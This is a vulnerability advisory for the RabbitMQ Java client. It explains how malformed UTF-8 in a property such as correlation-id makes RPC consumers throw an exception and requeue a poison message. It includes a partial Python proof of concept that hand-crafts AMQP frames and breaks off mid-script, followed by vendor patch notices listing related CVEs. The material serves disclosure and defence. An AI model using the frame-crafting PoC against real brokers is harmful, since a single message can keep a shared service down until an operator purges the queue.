CVE-2026-106122

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

1. RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129

2. The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

1. Start a broker:

docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

2. Publish a message whose correlation-id is 255 × 0xFF:

import socket, struct

def sstr(b):
    if isinstance(b, str): b = b.encode()
    return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)

def rf():
    h = b""
    while len(h) < 7: h += s.recv(7 - len(h))
    t, ch, sz = struct.unpack(">BHI", h)
    p = b""
    while len(p) < sz: p += s.recv(sz - len(p))
    s.recv(1); return t, ch, p
def wait(c, mi):
    while True:
        t, ch, p = rf()
        if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
    + lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8])   # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) +…

Red Hat Lightwell has released com.rabbitmq:amqp-client 5.25.0.rhlw-00028 with backported fixes for CVE-2026-106121, CVE-2026-106122, CVE-2026-106123, CVE-2026-61634, CVE-2026-63335, CVE-2026-63336, CVE-2026-63337, CVE-2026-69219, and CVE-2026-69220.

CVE-2026-106121: RabbitMQ: JSONReader in the default JSON-RPC mapper never terminates on truncated input, causing DoS

CVE-2026-106122: RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

CVE-2026-106123: RabbitMQ Java client: plaintext broker credentials leaked in exception message from ConnectionFactoryConfigurator.load()

CVE-2026-61634: RabbitMQ Java client accepts broker frames larger than the negotiated AMQP frame_max

CVE-2026-63335: RabbitMQ Java client malformed body frame triggers raw command assembler exception

CVE-2026-63336: RabbitMQ Java client: TrustEverythingTrustManager used by default in useSslProtocol() enables MITM

CVE-2026-63337: RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading

CVE-2026-69219: RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation

CVE-2026-69220: RabbitMQ Java client ValueReader: Unbounded recursive table/array nesting causes StackOverflowError DoS

This patched artifact is a drop-in replacement for com.rabbitmq:amqp-client 5.25.0 from Maven Central.

Red Hat Lightwell has released com.rabbitmq:amqp-client 5.30.0.rhlw-00016 with backported fixes for CVE-2026-106121, CVE-2026-106122, CVE-2026-106123, CVE-2026-61634, CVE-2026-63335, CVE-2026-63336, CVE-2026-63337, CVE-2026-69219, and CVE-2026-69220.

CVE-2026-106121: RabbitMQ: JSONReader in the default JSON-RPC mapper never terminates on truncated input, causing DoS

CVE-2026-106122: RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

CVE-2026-106123: RabbitMQ Java client: plaintext broker credentials leaked in exception message from ConnectionFactoryConfigurator.load()

CVE-2026-61634: RabbitMQ Java client accepts broker frames larger than the negotiated AMQP frame_max

CVE-2026-63335: RabbitMQ Java client malformed body frame triggers raw command assembler exception

CVE-2026-63336: RabbitMQ Java client: TrustEverythingTrustManager used by default in useSslProtocol() enables MITM

CVE-2026-63337: RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading

CVE-2026-69219: RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation

CVE-2026-69220: RabbitMQ Java client ValueReader: Unbounded recursive table/array nesting causes StackOverflowError DoS

This patched artifact is a drop-in replacement for com.rabbitmq:amqp-client 5.30.0 from Maven Central.

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.36.0, ValueReader.readShortstr decodes malformed UTF-8 bytes into replacement characters that can re-encode beyond the AMQP shortstr limit enforced by ValueWriter.writeShortstr. An attacker who can submit an RPC message with a malformed echoed property can cause reply publication in RpcServer.mainloop() or tutorial-style consumers to throw an unchecked exception before acknowledgement. The broker requeues the message, allowing the same message to disable replacement consumers until the queue is purged. This issue is fixed in version 5.36.0.